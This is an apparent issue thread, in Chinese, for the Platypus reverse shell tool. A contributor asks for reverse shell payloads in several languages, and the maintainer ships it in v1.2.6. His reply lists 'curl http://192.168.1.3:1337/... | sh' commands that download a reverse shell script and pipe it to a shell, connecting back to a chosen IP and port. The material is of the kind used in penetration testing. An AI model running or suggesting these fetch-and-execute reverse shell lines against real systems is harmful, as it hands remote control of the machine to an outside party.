[Feature Request] 多语言反弹 shell 支持

[RicterZ]

比如 curl platypus:8080/a.py 就返回 python 的反弹 shell 代码，.../a.pl 就返回 perl 的。

[WangYihang]

诶好主意！感谢反馈！俺等会儿整一下，rr 师带带我 >v<

[WangYihang]

Added. @RicterZ ，感谢师傅提出建议！
Examples:

curl http://192.168.1.3:1337/ | sh
curl http://192.168.1.3:1337/bash | sh
curl http://192.168.1.3:1337/python | sh
curl http://192.168.1.3:1337/perl | sh
curl http://192.168.1.3:1337/1.2.3.4/7331 | sh
curl http://192.168.1.3:1337/1.2.3.4/7331/bash | sh
curl http://192.168.1.3:1337/1.2.3.4/7331/python | sh
curl http://192.168.1.3:1337/1.2.3.4/7331/php | sh

All available language templates are stored at lib/template/rsh

[WangYihang]

v1.2.6 released for this issue.